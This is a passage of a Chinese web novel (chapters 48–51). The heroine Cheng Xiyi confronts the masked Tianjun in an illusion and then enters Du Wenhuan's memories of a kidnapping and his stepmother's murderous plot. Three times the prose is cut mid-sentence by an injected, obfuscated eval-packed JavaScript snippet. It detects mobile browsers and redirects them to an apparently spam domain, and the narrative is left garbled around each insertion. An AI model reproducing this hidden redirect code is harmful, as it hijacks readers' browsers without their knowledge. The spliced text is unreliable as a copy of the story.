在这个幻境里,她之前几乎感觉不到自己的脚伤,现在却隐隐约约疼了起来。 她顾不得这些,拨开挡在前面的草木,来到亭子前,唤道:“杜大人,你……” 话到嘴边一顿,这个人不是杜文焕。 他穿着一身彩绣的袍子,缓缓转过身来,“不是那个人,你很失望?” 他的脸上戴着一个黑面具,程希夷认得这个声音,也认得这种面具。 “天君,百闻不如一见。”程希夷点破了他的身份。 “哈哈哈。”天君大笑起来,“你果然很聪明。” 他绕着程希夷,观察了一圈,最后定在她面前,“继任者,我也终于见到你了。” “继任者,你这是什么意思?”他通身带着上位者的压迫和冷峻,可程希夷不惧不避,抬头直视他,“杜文焕呢,他去哪了?” “他?一个普通人没资格参与我们的谈话,现在大概被困在哪个幻象中。”天君冷冷地说,“何况他很碍事,没有他,你如今就抛去前尘,同本君一起回天末国了。” 听他的语气,杜大人应该没事,只是被困住了,程希夷不由得松了口气。 “原来你在幻境里剥夺我的记忆是为了这个。”程希夷捏紧手中的剑柄,嗤笑一声,“我也是个朝不保夕的小人物,何必让您如此大费周章?” 天君从袍中伸出一只戴着黑手套的手,手中躺着一把寒光的匕首,“还记得它吗?” 那把匕首看起来再普通不过,可程希夷心里无端发怵,脑中迅速闪过一些碎片,她看到一把一模一样的匕首在她面前像流星一样划过。 “这是?” 见她仍旧什么都没想起来,天君好心提醒道:“它就是你魂魄受损的罪魁祸首。” 它,一把小小的匕首?程希夷不相信这把与普通匕首无异的东西有如此作用。 “此物名为‘破魂刀’,”天君见她不信,不屑地解释道,“能划开人的魂魄,本来它是用来对付一个人的,没想到竟阴差阳错用在了你身上。” “原来是它,原来是你!”程希夷恨恨地盯着他,自己多年来的迷茫无措,魂魄受损的痛苦和恐惧,具是眼前这个目空一切的天君造成的。 她持剑的右手一转,剑刃直直劈向天君,后者往旁边一闪,程希夷却不让他逃脱,剑刃转了个方向,往上一挑,劈开了他的面具。 程希夷本以为可见这人真容,然而那面具之下是另一副面具。 趁她愣神,天君便要上来夺她的剑。 程希夷反应过来,往后一退,绕到他左边,剑身反转,左手用剑,直指他的咽喉。 天君抬手去挡住,不仅没夺下剑,反被而划开了袍子,割出一道伤口。 “你性子还是不够沉稳。”天君并没有生气,或许在他眼里,这就是小孩子过家家,“三言两语就被挑动情绪,若不是其他方面足够有资质,本君还看不上你。” “少废话!”程希夷再次出剑,脚尖轻点,疾刺而来,这次对准的是他的心脏。 “够了。”剑峰离他不过寸许,天君指尖一点,程希夷霎时被定在空中。 “这是怎么回事?”程希夷用力想摆脱束缚,可动弹不得。 “在这个幻境里,本君就是主宰者。”天君右手一动,旁边的灌木丛冒出几根藤蔓将程希夷结结实实捆住,只露出双手和头。 还在空中保持着持剑刺杀姿势的程希夷:“……” “有时候,听完长辈的话,不仅是一种礼貌,也是一种智慧。”天君将她放下来,后者结结实实摔在地上,幸好有藤蔓垫着才不至于很疼。 “杀我,你还没有这个本事。”天君蹲在地上,看着她说,“若本君真的想杀你,你恐怕没有命走出这里。” 程希夷这才注意到方才刺中的手臂并没有流血,“你是幻象?那你的真身呢,莫非还在天末国?” “呵,”天君站起身,“如果你方才注意到这件事,现在就不会如此狼狈。” 被迫躺在地上看天的程希夷:“……”不听不听,王八念经。 天君继续说:“不过你很敏锐,只当没有记忆的傀儡的话,确实太可惜了。你闯过这一幅幅画卷,不就是为了知道这一切的开始么?” “哼,”程希夷冷笑道,“一切的开始或许就源于大祭司出海去寻那宝卷罢。你得到了那长生不老之术,妄想利用少女的鲜血炼制。至于我……我浑身上下除了魂魄之外,没什么值得你老人家设置这么多难关的。我的魂魄莫非也是药引?” 天君露出些许赞许的目光:“对,也不对。你并非药引,说说,你还推断出什么了?” “既然不是药引……”程希夷不解,“你说我是继任者,难道我还会成为下一个天君不成?” “你会完成本君未尽的事业,这是那个预言说的。” “绝无可能,”程希夷立刻否定道,“我可不会像你一样伤害无辜。” 天君轻笑一声,似乎是觉得她太稚气,“你解开了妄生城和赤鱼的隐喻,难道还看不明白?若你想阻止本君,就凭你救一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13529131|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个也不过是杯水车薪,做什么好人?等你足够能和本君抗衡,甚至把本君从天君之位拉下去,到时候巫众皆听你号令,所救之人也不止这一村几十人了。” 程希夷猜不透他的心思,哪有人鼓励别人去取代自己的地位的。 “你这是什么意思?”程希夷正色道,“那个所谓的预言,到底说了什么?为什么会是我?” “在五十年前,有个从海外仙山归来的人用仙山的龟甲做了一个占卜。”天君娓娓道来,“如何让天末国的百姓过上没有战争没有灾害的生活。” 没有战争,没有灾害……这样的国度真的存在吗,莫非当年寻仙山是为了这个? “那占卜的结果呢?”她好奇。 “龟甲说,会出现一个人,她是命运的宠儿,生于有德之国,降生时有景星卿云之兆,鬼魂避让,神明同行。若此国君主丧失德行有违天意,则迟早丧于她之手。她会在另一国助其君主一统两国,结束战争,庇护四方。而这个时间,就是五十年后的冬末。” 程希夷觉得荒谬:“那你恐怕找错人了,我自身难保,魂魄受损,剩下不过一年时间,拯救不了世人。” “就是因为你只剩下一年,恰恰证明你就是那个人。”天君没有丝毫怜悯之心,看她就是在看一件工具,“因为过了这个冬天,初春之时,你的任务就结束了,到时魂归天地,岂不干干净净。” “我本来能活一年,被你这么一说,我只能活六个月。”程希夷气极反笑,“谢谢,这亏本买卖我不做。” 天君也不着急,深深看了她一眼,意味深长地说:“你会的。” 他缓缓说:“本君从不喜欢强迫别人,待你想通,便来天末国皇宫找本君。天下将会大乱,妖魔鬼怪横行。就是你喜欢的那个小子,你当真以为自己了解他多少么?人心难测,是人是鬼你看得透么,也许连他自己都看不透自己。” 他这话弯弯绕绕,让程希夷摸不着头脑,又是天下,又是杜文焕,又是什么人心难测。 “你这是什么意思?”程希夷在地上挣扎着想起身,可藤蔓捆得她脚不能动,“你把杜文焕怎么样了?你既然是找我,为什么要牵连别人,快放了他!” 可她越挣扎,藤蔓缠得越紧。 天君不疾不徐,摸了摸藤蔓说:“这就是你的欲望,当你越想,它缠得越紧。你与我相生相克,我能用意念操纵这个幻境,你自然也可以。好好想想罢。” 程希夷恨不得拿起旁边的剑一剑捅穿他,可那把剑在她落地时掉到旁边去了,于是她发挥原始本能,朝他的脸给了一拳。 可惜使不上力,动作太慢,被攥住了手腕。 天君不悦道:“看样子你还是没学会尊重长辈,趁这段时间,好好享受吧。待你使命完成之日,就是命丧之时。我等着你。” 说完,他消失在山林中。 程希夷见他离开,想冲上去问清楚到底把杜大人带到哪去了,可身上的藤蔓却丝毫没有松开的迹象。 她翻了几个滚,总算摸到自己的剑,可无论怎么劈砍,藤蔓只留下几个不痛不痒的痕迹。 她思及方才天君所言,这藤蔓是她的欲望,而她可以用意念操纵这幻境和幻境里的东西。 对,要救杜大人她不能着急,要静下心。 程希夷定了定心,在心中默念:收心离境,住无所有,不著一物,自入虚无,心乃合道。[注1] 藤蔓感应到她内心的平静,渐渐松开了束缚。 49. 邀请 程希夷定下心,身上的藤蔓随着她一吐一纳慢慢松开束缚,随即隐入草丛中。 她站起身,或许是因为她在幻境的外围,痛觉愈发灵敏,来幻境之前所受的伤隐隐作痛,尤其是她的脚伤,奔波加上沾了水,有加重的迹象,让她有些难以忍受。 但她还要去找一个人。 天君说他与她相生相克,也能操控这幻境。 尽管不懂这相生相克是什么意思,但若如他所言,她也能操控这幻境,那她要试一试,一定要将杜大人带出去。 杜大人与她一同掉入这里,离她应该不会很远,但天君说他进入了自己的幻象,想必是被困在某一处。 这里是天君所造的幻境,也就是通过一些咒语幻化出他内心所想的东西,不会有超出他意识之外的景观。 而一个幻境是不会凭空产生的,这里一定会有支撑幻境的核心,或许是一件物品,或许是一个人。 天君离开了而幻境未塌,那支撑这里的应该就是一件物品,而且是与这个山林有关的物品。 只要找到了那件东西,就能引导她去寻杜大人。 她撕下一块布条将剑绑在背上,又随处捡了根人高的棍子撑着,好让自己行路时省点力气。 这个山林的一切都很真实,小到地上的石块、落叶,大到树干的纹理,都十分清晰。 这与造幻境的人有关,想必他对这里很熟悉,甚至驻足仔细观察过。 天君能造出如此大的幻境,又能造出这些常人注意不到的细节,足以证明他的观察力异于常人。 然而人的注意力终究是有限度有偏重的,纵使这里的东西乍一看都很清晰,但细看之下,也会发现有些地方不一样。 更为模糊,像是匆匆赶过时随意一瞥留下的印象。 以天君的能力,他不可能没记住,只能是他路过这一段时太过着急,心思被别的事占据了而没有太注意。 而这一段恰恰是一条人为踩出来的小路,这条小路上的泥土都被鞋面磨得很光滑,没有几根杂草,而其他地方杂草丛生。 这条小路一定通向某个地方。 程希夷沿着小路往前走,不久便看见一间茅草屋。 茅草屋外面十分简陋,但收拾得很干净,篱笆院子里一片落叶都没有,水井旁放着一只干净的木桶,还盛着半桶清澈的水。 她推开屋门,里面只陈列着一张桌子、一把椅子和一张竹床,看得出来屋主人过得十分简朴。 但收拾得这么整齐,也没有衣裳鞋子,想必屋主人已经不在这里住了。 不过这个陈设,她总觉得有点眼熟,似乎在哪见过。 桌上还有半壶茶,茶水已经凉了,但嗅了嗅,竟然还散发着清香。 这股清香她也觉得熟悉,绝对在哪里闻到过。 在茶壶的下面,压着一片白色的布料,像是被人用匕首割下来的衣袍的一角。 这片布料给她的感觉清晰得过分,材质的柔软程度、气味,连割断处冒出来的丝线都一清二楚。 想必这就是支撑这个幻境的物品了。 烧了它,这个幻境应该就会崩塌。 但她有别的打算。 它肯定是天君的重要之物,或者是能引起他强烈情绪的东西,用它作为引子找到这幻境中困住杜大人的幻象再好不过。 她走到院中,席地而坐,凝神聚气,集中精神在那片布料上。 恍惚间,有几个画面闪过眼前,耳边传来争执的声音:“师父已死,你还要如此做么?” “所谓仙山宝卷,在我看来比骗术还要可怕,连我们所习的巫术都只是为皇权服务罢了。惠不可能及百姓,这与我们初衷相距甚远。” “师兄,既然你一意孤行,那么我们从此割袍绝义!” 强烈的情感化作气自布料传入到程希夷的灵台,又经由她散去四面八方,终于被她找到一处强烈抵抗这股气的地方,那应该就是杜大人的所在。 “呼——”她睁开眼,浅灰的眸子像是沉静的湖水,但在这湖水之下是看不见的黑暗。 她倚着木棍起身,看了看手中的白色布料,还是决定将它收入袖中。 因为她听清楚了那个争执的声音,那是师尊的声音。 即使充满怒气,与师尊平日不同,她也听出来了。 而那房间的陈设、茶壶里的茶,都是师尊平日所习惯的。 她站在原地没有动,似乎是呆住了。 良久,她看向背后的茅草屋,惨然一笑。 也许,从很久之前开始,她就作为一枚棋子落入一个巨大的棋局中。 而待她如家人的师尊对这些又知道多少呢,看着她痛苦迷茫的时候,师尊又在想些什么呢? 师尊到底是救她给她关爱的长辈,还是一切的始作俑者呢? 她再一次陷入了迷茫。 不过她没有陷入这种情绪太久,走到井边,用木桶中的清水洗了把脸。 看着水中的倒影,她自言自语道:“我笑得这么丑吗?” 倒影中的她像是非得在脸上画出一道笑容的木偶,嘴角是笑的,眼里却没有一点笑意,反而满是悲伤,显得古怪又诡异。 她揉了揉自己的脸,想翻出点记忆冲淡眼中的悲伤。 可能找出的记忆本就不多,山中与师尊相处的那段时光反而让她显得可悲,下山又遇到这么多奇怪的人,似乎个个都想利用她做点什么。 之前是程玉和,现在又是这什么天君。 对了,她还要去救出杜大人,没有时间给她迷茫。 她深吸了一口气,又缓缓吐出,心里总算平静不少。 “冲呀。”她举起手中的木棍,似乎想通过挥舞给她些许力量,尽管是她一个人的独角戏。 她往方才找到的地方走去。 …… 顺着方向,她来到一处竹林前。 从外看,这处竹林并没有什么特别的地方。 但程希夷能感受到这里有一层屏障,屏障内并非是天君的意识造出来的幻境,而是另一个人的。 这个人的气息,她十分熟悉,就是杜文焕。 难道他不是被天君造出来的幻象所迷,而是自己造出幻境并将自己困在其中? 难道杜大人也有困于心,走不出来的事? 能在天君的幻境中再造出一个自己的幻境,那一定是对他而言很痛苦的事。 程希夷踌躇了,并不是她不想救杜文焕,而是不经同意,擅自了解他心中的隐秘,这对他并不公平。 毕竟她只是一个,曾经为了程玉和的任务,刻意接近他的人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13555587|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 踌躇间,她抬手碰了碰那屏障,手像碰到水幕一样,顺利穿过去了。 “这怎么可能?”程希夷快速缩回手,惊讶道。 这种幻境是针对创造者本身的,幻境里的一切都是创造者所知晓的东西,如果有外人误入,不说受伤,至少还是会有阻力感的。 而她的手就这么恍若无物地穿过去了,那屏障就像平静的湖面一样柔和。 她明白这是什么意思,释然地笑了笑,说:“既然是杜大人您的邀请,我就恭敬不如从命了。” 程希夷穿过屏障,踏入杜文焕内心的幻境中。 她的脚一踏在这幻境里的泥土上,竹林就齐刷刷从中间分开了,像一个个站得笔直的人让出一条道来。 顺着这条道,周围的天色逐渐暗沉,走着走着像走进一间屋子里。 屋内十分凉爽,甚至可以说是冷,从门缝中漏出几缕风,让人不自觉打了个寒战。 而这里的桌案、书架和字画,程希夷认得,这是杜文焕在杜府西院的书房。 只是这里陈设的家具比她之前看到的要新些,而且也少了点花瓶玉器之类的摆设。 从门外走过两个身影,程希夷下意识躲在暗处,但显然那些人压根看不见她。 应该是两个洒扫庭院的婆子,她们一边走一边交谈,声音不大不小,但也能让房里的人听清楚,语气尖刺而刻薄,像是故意朝房里说的。 “他怎么回来了?” “我还以为他已经死在山上了,那些强盗穷凶极恶,过了这么多天,竟还没把他……” “哼,他倒是全须全尾回来了,还是让官府大张旗鼓将他送回杜府的。小小年纪竟有这种心思,是故意让街坊邻居看笑话吗?” “是啊,逃出来了就直接回杜府,又不会把他吃了。他竟然先跑去了官衙,想让事情闹大,好教别人戳老爷夫人脊梁骨,说他们苛待先夫人的儿子么?” “夫人对他不薄,他回来之后发热是夫人衣不解带地照顾着,瞧他那冷淡的样子,死人都比他捂得热。” “就是一白眼狼。” “要我说,他病好之后什么都想不起来了,模样也有些变化,不会是哪里来的乞丐冒充的吧?” “别乱说,外人可认定他就是我们主子,我们可不敢胡乱猜疑,只是为夫人不平罢了——” 说着说着,她们走远了,但还能听到几声间或的讥笑声。 她们说的是谁? 程希夷不知道她们在对谁指桑骂槐,这房间莫非在杜文焕住之前还有人住过? 而且这房里也没有人啊。 忽然,她听到悉悉索索的声响,像是老鼠发出的,仔细一听,却是布料的摩擦声。 这房里还有人。 她顺着声音走过去,在杜文焕平日写奏疏的桌案下看到一个蜷缩起来的身体。 他的个子已经不小,只有把自己卷成一团才能塞到这桌案下。 待那些婆子的声音都听不见,他松开抱着的双膝,从里面爬了出来,稚气未脱的脸上还带着挂着些许泪珠,但表情平淡得像是一尊塑像。 程希夷借着外头的光看清他的脸后,惊讶地长大了嘴巴。 杜大人? 杜大人??? 我的天,是十多岁的杜大人。 50. 绑架 这个幻境里的杜大人看起来也不过十四五岁,比她还要小两三岁。 五年时间,就能让一个人变化这么大。 这时候的杜大人,还是个会为别人刻薄的言辞而伤心的少年啊。 她想拍拍他,告诉他以后会成为一个拥有“虽千万人吾亦往矣”的强大内心的好官。 程希夷看着眼前这个还十分青涩的杜文焕用袖子将脸上的泪珠拭去,眼神中不带一丝情感,比她刚见他时更为冷漠。 他用桌案上的砚台磨好墨,又从笔架上取了一支笔,待笔蘸饱墨汁,落在纸面上,草草写了几个字。 程希夷想凑过去看他写了什么,但他似乎对纸上的内容并不满意,将纸揉成一团,烦躁地往门口一扔。 恰好扔在刚推开门的妇人脚边。 杜夫人端着一碗冒着热气的黑色汤药,见脚边滚来一个纸团,愣了愣,将它踢到一边,笑着走过来将碗放到桌案上,将桌案上的纸压出一圈凹进去的印子。 杜文焕放下笔,客气又疏离地行了个礼,问:“母亲大人,这是?” “方才我去你房中没找到你,”杜夫人热络地将碗递过去,“这是大夫交代给你要喝的药。” 杜文焕本想先放在一边,但杜夫人抬手制止了他,“药凉了,药效就不足了。莫不是怕苦?焕儿你也不小了,可不能像小孩一样。良药苦口利于病,还是尽快喝了罢。” 在一旁的程希夷听了先前洒扫庭院婆子指桑骂槐的话,对这杜府的人印象本来就不大好,但她们口中“贴心照顾”的杜夫人倒真的十分关心杜文焕似的。 十四五岁的小杜文焕现在看起来的确是一块寒冰。 不过她所知道的他不是不知感恩的人,其中必有缘由。 杜文焕听了杜夫人的话,果然把药喝了一半,放下碗说:“母亲前来是还有什么事么?” “只是关心你的身体罢了。”杜夫人随意敷衍了一句,余光瞥见方才踢到一边的那纸团,弯腰拾起。 打开一看,眼神变得锐利了几分,握住纸张的指尖用了些许力气,面上还是风淡云轻,转而对杜文焕说:“焕儿,你是打算写信给官衙,莫不是那些强盗对你说了些什么?” 杜文焕急忙否认:“并没有什么,母亲大人多想了。” 语气中带着掩饰不住的慌张,这个年纪的他还不懂得掩藏自己的心思。 “多想?”杜夫人微微一笑,“你是我的好儿子,我怎么会多想呢?不过若真有什么,要早些告诉我,我这心可一直为你提着呢。” 这话极其古怪,但杜文焕显然听得懂,因为他的脸色又苍白了几分,右手攥紧,在微微发抖。 他们二人间的古怪气氛令程希夷不解,但她看出来杜文焕在害怕杜夫人。 “父亲呢?”僵局了半天,杜文焕开口打破。 “他上朝去了。”杜夫人将药碗端起,用勺子舀起一勺药汤,送到杜文焕嘴边,“再不喝,就真的要凉了。” 杜文焕抿了抿唇,拒绝了她喂到嘴边的汤药,然后自己将碗拿过,一口气喝光了。 “这下总可以了?” “这话说的,像是在为我喝药似的。”杜夫人柔柔一笑,快速收拾好了药碗,准备离开。 在她转身时,那嘴角的最后一抹笑意瞬间消失不见。 杜文焕冷冷地盯着她的背影,问:“父亲什么时候来看我?” “我也劝过他,”杜夫人回答得天衣无缝,“但他政务繁忙,总说没有时间。你身为儿子,应当多体谅体谅他。” “我被绑时,他也是‘政务繁忙’?” “当然。”杜夫人没有回头,语气也沉了下去。 “那母亲您也是‘政务繁忙’,在我被绑三天后才报官?” “焕儿,我只是在照顾你出天花的小弟一时疏忽罢了。这些天我衣不解带照顾你,但你到现在还在怪我么?”杜夫人出声,最后一丝温和也消失不见,“你累了,就不要多想了。” 杜文焕顺从地低下头,眼睛里是不容忽视的冷意,“儿子明白,怎么敢怪您。” 在杜夫人走后,杜文焕看着手中的毛笔发呆,方才那纸团已不见了踪影。 忽然听到杜夫人在门口和谁交谈,程希夷凑过去听,应当是一个小厮,声音中还带着几分焦急。 “夫人,京兆府的李大人派人来说,找到了一个漏网之鱼,要请二公子去辨认呢!” “什么?!”门内外的几人一齐惊呼,只是对门外的人而言是惊吓,对门内的人而言是惊喜。 杜文焕冲出门,忙说:“我同你一起去!” 杜夫人来不及阻止,也说:“我也去。” 程希夷跟在后头,同他们一块去了正堂。 那里站着一个衙役,见杜文焕来了,抱拳行了个礼,问:“可是杜文焕杜小公子?” “是我。”十五岁的杜文焕已初显风度,从容应了一声,问:“可是要我去指认强盗的面目?” “正是。”衙役做了个请的手势。 杜夫人想随他们一同去,被衙役拒绝了:“牢狱那腌臜之地,不要脏了夫人的裙。只需杜公子去就好,请留步。” 杜夫人咬了咬唇,只好不甘心地留下了。 路上,程希夷听杜文焕好奇地问:“这个强盗,是从哪找到的?” 衙役答:“他本是打算私自下山再抢一笔,刚好与官府擦肩而过。在没人住的房子里躲了几天,被一砍柴农夫发现就报了官府。” “原来如此。”杜文焕试探着问,“我报官那天之后,官府去了强盗的洞穴,真的没再发现一个活口吗?” “小公子,这还是我们要问你的。”衙役笑了一声,“剩下的还是请到府衙再说吧。” 京兆府衙的牢狱内,府尹李允正在和另一人说话,那人身穿常服,发须皆白,看起来不过是个上了年纪的老人,但李允对他毕恭毕敬,谈话时甚至刻意弯了弯腰。 “府尹,杜小公子来了。”衙役通报。 李允回过头,那个老人也朝出口看去。 杜文焕不认得老人,但认得李允,行礼道:“李大人。” 李允也不多说,开门见山:“你认一认那个强盗罢。” 只见一间牢房里关着个满脸横肉的凶恶强盗,只是到了这地方,就是老虎也得拔了牙,他也神气不起来了。 那个强盗听到脚步声,神色恹恹地坐在地上,没有理会的意思。 狱卒开了牢门,踢了他们一脚,呵斥道:“起来,快起来。” 又对杜文焕说:“小公子,你见到的强盗中可有这个人?” 那个强盗闻声也好奇地抬起头来,可还没等杜文焕说话,他大叫一声,惊地瘫坐在地上,指着杜文焕恐惧地说道:“你,你是人是鬼?” 杜文焕疑惑地看着他,对狱卒使了个眼色,意思是:他是不是出了点什么毛病? 狱卒也很疑惑,又没对他用什么重刑,怎么变成这样。 杜文焕朝他们走近一步,蹙眉说:“我自然是人,你若不从实招来,倒是快要变成鬼了。” “不可能,不可能,”强盗说,“你明明已经死了,怎么可能会复活呢?” 狱卒见他愈发胡言乱语,只好先将杜文焕带出去,并将情况对李允说明。 “这人昨天还好好的。” 李允亲自去牢房看了看,可那个强盗惊惧过头,口中嘟囔着什么鬼魂索命,金盆洗手之类的话,没法回答旁人的问题。 他一甩袖子,无奈地向一旁的老人求助:“高大人,你看这……唉!” 高琦没去管那个强盗,倒先将杜文焕上下打量了一番,说:“孩子,你是怎么逃出来的?” 他的眼神慈祥却锐利,让杜文焕避不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13579436|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,“我是趁着夜色,在他们守卫松懈时逃出来的。” 高琦微微颔首,既没肯定又没否定,他的语气中带着试探,却又不至于让人反感:“孩子,要知道那洞穴中,包括强盗和被绑去的孩子,除了你和方才那人,没人逃出来,都死于其中。你可知道些许内情么?” 杜文焕摇了摇头,说:“不知。” 李允想到一个可能:“莫非是与他们敌对的另一伙强盗趁着夜色将他们全部杀死?既然杜小公子都能侥幸逃出,可见他们的防御确实松懈。” 高琦并不认可:“我见过你们带回来的强盗尸首。刀口平整,刀刀刺中要害,目的是一击毙命,不像是粗莽的强盗所为,倒更像专业的杀手。” 说罢,他转而问杜文焕:“孩子,你认出方才那牢中之人吗?他在强盗中是什么地位,在参与绑架这件事上又做了什么?” 杜文焕摇头,“我只认得他与山上强盗是一伙的,其余的就不知道了。” 见他什么都不知道,高琦也没为难他,对李允说:“让他走罢。小小年纪经历了这么些事,脸还白着呢,何必这时候让他过来。” 李允连忙称是,让衙役送杜文焕离开。 杜文焕正打算走,顿了顿,又转身回来,犹豫地对李允说:“李大人,关于绑架案,并不简单。” 李允还未说话,旁边的高琦倒是来了兴趣:“哦?说来听听。” “这些强盗目标明确,专门绑架富家子弟,按理来说这应当是个不小的团体。”杜文焕站在两位大官前不露怯色,神色自若地讲他的观察。 但程希夷发现他的手紧攥着衣袖,显然在克制自己的紧张。 原来这个年纪的杜大人还是会紧张的,不过她怎么会有杜大人生来就遇事处变不惊的错觉。 想来她一直看到的都是懂分寸知进退,处事游刃有余的杜大人,不曾想过他也曾有成长,也经历过许多事才变成如今的模样。 杜文焕接着说:“要想干这种大事而不被官府抓到,这团体里一定分工明确,而且有人告诉他们被绑架的人的动向,他们才能以最快速度实施绑架。” 高琦也是在朝堂摸爬滚打这么多年的老狐狸了,立刻明白了他的意思:“你是说,强盗并非随机绑架,而是有人雇佣他们?” 李允皱起眉头,对杜文焕道:“小小年纪知不知道什么叫口说无凭?” 杜文焕不服气:“我知道是谁指使强盗绑了我。” “此事我自会调查。”高琦及时用布满褶皱的手拍了拍杜文焕的肩,示意他不必再说下去。 杜文焕看了看自己的肩头上的手,又看向高琦深邃浑浊的双眼,没有说话。 忽然,狱卒惊叹了一声:“他,他死了!” “谁死了?”众人的眼睛齐刷刷看向他。 狱卒指着牢房里说:“那个强盗死了。” 牢房内,强盗仰面朝天,嘴角流出黑色的鲜血,双眼瞪大,显然死不瞑目。 就是说,在他们谈话的时候,有人悄无声息地解决了关在牢房的强盗,而全程没一个人发现。 高琦板起脸,严肃道:“此事确有蹊跷之处,你且回去。你年纪太小,不必参与这些事。” 杜文焕张了张嘴,还想再说些什么,最终还是什么都没说,点了点头,打算离开。 程希夷想,现在的杜大人不明白,但以后的杜大人回想肯定会明白,这老人是在保护他,不让他卷进去。 高琦送了他几步,走出牢狱后,拍拍他的肩,在他耳边低声说:“自古人才出少年,年轻人前途不可限量,说不定你我有一天会在官场相见。但在此之前,要学会韬光养晦。亲近的人害你却不被发现,不是因为手段多高明,而是身边的人都装不知情。” 杜文焕惊诧地抬起头,而那老人早已转身回了牢狱。 天,又暗沉了几分。 51. 逃出 杜文焕坐上马车,打算回杜府。 车厢内,他紧了紧身上的衣服,缩在一角,端正坐好。 沉思的时候,他的眉头会轻微蹙起,双手不自觉攥紧,眼睛盯着放在膝上的双手。 程希夷想,在这个幻境之中她只能看到周围的景物,不能窥视他的心思。 不过以他的反应来看,大概是在思考刚刚那个老人的话吧。 这一路上她没看到任何东西有明显的情感波动,也就是说这些东西都不是支撑这个幻境的存在。 她只能继续跟下去,毕竟在这个由杜文焕创造的幻境中,她是不存在的,所以他看不到她。 这种无力感真让人感到无奈,哪怕有一件作为媒介的物品也好。 她得再想想办法。 京兆府衙离杜府不是很远,很快就到了杜府。 杜文焕下了马车,进府,径直走向西院。 可刚走几步,他突然改变了主意,找来一个丫鬟问:“老爷回来了吗?” 那个丫鬟回答:“回来了一趟,又匆匆出门了。” “你可知道去哪儿了?” “奴婢不知。” 杜文焕没再多问,却改了方向,不再回西院而转身去了东院。 东院是杜老爷和杜夫人还有他们的小儿子杜禹住的地方,现在杜老爷不在,自然就只有杜夫人和杜禹。 过了连廊,还未到房前,杜文焕听到一个陌生的声音从杜夫人房中传出。 那个声音低沉又暗哑,但听得出是个男人。 杜文焕眼神一暗,放轻脚步,踱步到窗前,小心探听他们的对话。 “别多此一举。”那个低沉的声音说,语气中还夹杂着些许威胁。 “不是你们要帮我的吗?”是杜夫人。 “这只是个意外,府中上下都认为你是个好母亲,他现在又威胁不到你。”这个“他”指的是谁不言而喻。 “他活着就是对我最大的威胁。” 听到这,程希夷瞄了一眼杜文焕,他的脸色毫无变化,似乎对此早有预料。 “呵,他刚回来,本来他被绑明面上也是因为你的疏忽。你此时下毒,这无异于告诉大家,他是你杀的。” “那你要我怎么办?!他可聪明的很,方才被京兆府找去了,此时说不定在官府前告我的状呢。” “他不过是一个十五岁的孩子,你认为官府会相信他的话吗?” “……”房中安静了下来。 良久,杜夫人才开口,只是语气没有之前那么着急了:“即使不相信官府,还是会起怀疑。” 房中的男人嗤笑一声,语气带着嘲弄:“你既然担心这么多,当初何必要做这些事?” “我!”杜夫人无力反驳,幽幽道,“我只是为了我儿子。” “倒不如说是为了家产。”男人无情地戳破了她的掩饰。 “够了!”杜夫人的声音听起来有些恼怒,“与其在这里嘲笑我,不如去解决一下麻烦。如果我牵连进去了,你们也跑不了。” “放心,他在狱中没有乱说话,那个被他们找到的强盗已经被我的人解决了。” 杜夫人松了一口气,还要再说什么,男人先开口阻止了她。 “看样子有个小老鼠一直在偷听。” 杜文焕发现不对,脚一动,可刚转身,就被从屋内闪出的人影抓住了衣领。 “瞧瞧这是谁。”男人戴着面具,眼神幽暗如毒蛇,看杜文焕时好像要咬断他的脖颈,将他吞吃入腹。 刚急忙跑出门的杜夫人看见是他,惊得叫了一声,“怎么会是你!” 又转向那个男人,说:“知道了这么多,这下他可真留不得了!” “别着急嘛,夫人。”男人慢悠悠地从怀中拿出一颗不知道是什么的药丸,递到杜文焕嘴边。 “吃下去,你就不用死了。” 程希夷下意识阻止,手却从中穿过。 她怔怔地看着自己的手,心里头涌现出一股愤怒,不是对别人的,而是对自己的。 啊啊啊,她根本不能对这个幻境造成任何影响,气死了。 杜文焕紧闭双唇,头转向一边,借此避开,竭力不肯吞服这不知有什么作用的药。 幻境因为他的恐惧而有了剧烈的波动。 程希夷眼看着那个男人的形体逐渐变得扭曲,抓住杜文焕的手也放松了,他趁机挣脱男人的束缚,往外跑去。 而本来坚固的房屋此刻就像是面团,随着地面的浮动扭来扭去,似是要挡住他的去路。 “别跑——” 后头的男人长出锋利的爪子,皮肤一寸寸皲裂开,苍白的皮肤上长出一道道龟裂的痕迹。 他的眼睛几乎要凸出面具,鲜红的血液从眼角流出,滴落到途中,形成一道沾满血迹的路。 